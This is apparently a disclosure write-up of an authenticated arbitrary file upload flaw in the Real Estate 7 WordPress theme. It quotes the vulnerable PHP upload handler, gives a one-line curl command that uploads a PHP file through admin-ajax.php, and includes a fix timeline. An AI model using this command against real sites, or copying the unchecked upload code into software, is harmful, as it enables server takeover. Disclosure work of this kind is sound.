The Real Estate 7 version 2.5.6 suffers from an arbitrary file upload vulnerability.

This means that any authenticated user can upload any type of file, even executable ones like PHP. An authenticated user can have any role: editor, subscriber, customer, etc. It does not matter and we will see in a while why that is.

In the following file /wp-content/themes/realestate-7/admin/theme-functions.php we have WordPress AJAX hook:

add_action( 'wp_ajax_ct_front_img_upload', 'ct_front_img_upload' );  

So, if a user which is logged in does a HTTP Post request to the main ajax endpoint: /wp-admin/admin-ajax.php with the action parameter set to ct_front_img_upload the ct_front_img_upload function will be executed.

Let's have a look at that function at line 5415 in the same file. Usually when PHP source files get this big it means trouble.

/*-----------------------------------------------------------------------------------*/
/* Front End Image Upload */
/*-----------------------------------------------------------------------------------*/

if(!function_exists('ct_front_img_upload')) {  
    function ct_front_img_upload( $post ) {
        if (empty($_FILES) || $_FILES['file']['error']) { die('{"OK": 0, "info": "Failed to move uploaded file."}'); }

        $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
        $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;

        $fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"];
        $wp_upload_dir = wp_upload_dir();
        $filePath = $wp_upload_dir['path'].'/'.$fileName;
        $filePath2 = $wp_upload_dir['url'].'/'.$fileName;


        // Open temp file
        $out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");
        if ($out) {
          $in = @fopen($_FILES['file']['tmp_name'], "rb");

          if ($in) {
            while ($buff = fread($in, 4096))
              fwrite($out, $buff);
          } else
            die('{"OK": 0, "info": "Failed to open input stream."}');

          @fclose($in);
          @fclose($out);

          @unlink($_FILES['file']['tmp_name']);
        } else
          die('{"OK": 0, "info": "Failed to open output stream."}');

        $name=$filePath2.'.part';
        if(!$chunks || $chunk == $chunks - 1) {
          $name=$filePath;
          rename($filePath.".part", $filePath);

            $filename2 = $filePath;
            $filetype = wp_check_filetype( basename( $filename2 ), null );
            $wp_upload_dir = wp_upload_dir();
            $attachment = array(
                'guid'           => $wp_upload_dir['url'] . '/' . basename( $filename2 ), 
                'post_mime_type' => $filetype['type'],
                'post_title'     => preg_replace( '/\.[^.]+$/', '', basename( $filename2 ) ),
                'post_content'   => '',
                'post_status'    => 'inherit'
            );
            if(isset($_GET['postid'])) $attach_id = wp_insert_attachment( $attachment, $filename2, $_GET['postid'] );
            else $attach_id = wp_insert_attachment( $attachment, $filename2 );
            $attach_data = wp_generate_attachment_metadata( $attach_id, $filename2 );
            wp_update_attachment_metadata( $attach_id, $attach_data );

            if(is_int($attach_id)){
                $link=wp_get_attachment_url($attach_id);
                die('{"jsonrpc" : "2.0", "success" : true, "id" : "id", "id_att" : "'.$attach_id.'", "link" : "'.$link.'"}');
            }
            else die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Error uplaoding file."}, "id" : "id"}');
        }

        die('{"OK": 1, "info": "Upload successful.", "link": "'.$name.'"}');
    }
}

As we can see, it accesses the $_FILES variable, so it is already promising. What it does is that it reads the uploaded file content from disc (it will be usually in /tmp/XXXX) at 4kb chunks and then writes to a temporary file.
The temporary file name is given by:

$filePath = $wp_upload_dir['path'].'/'.$fileName;
[...]
$out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");

Then, for whatever reason, it deletes the original temporary file. PHP automatically deletes the temporary file when the script execution is finished. And after it deletes the original tmp file then renames the new temporary file (the one with the .part suffix)

$name=$filePath2.'.part';
if(!$chunks || $chunk == $chunks - 1) {  
  $name=$filePath;
  rename($filePath.".part", $filePath);

And then it goes on to create a wp attachment from it, but that part is not that interesting.

Things that have gone wrong

  • It uses the $_FILE instead of wp_handle_upload function
  • No capability checks on the ajax endpoint
  • No nonce check on the ajax endpoint.

The "exploit"

$ curl -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php' [AUTH COOKIES] -F "action=ct_front_img_upload" -F "[email protected]"

Or if you don't have Curl / Bash :

http://cdn.wphutte.com/RealEstate7/

As a bonus, you even get the full path to the uploaded file under the link key in the JSON response.

Impact: 5

The creator contempoinc has around 3000 sales, for this theme, and you will need to be logged with any privilege to exploit this issue. But again you can upload PHP files, so overall 5/10.

Timeline

26 - 03 - 2017 - Vulnerability found.  
26 - 03 - 2017 - Vendor notified.  
28 - 03 - 2017 - Issue fixed in version v2.5.9  
15 - 04 - 2017 - Vulnerability goes public.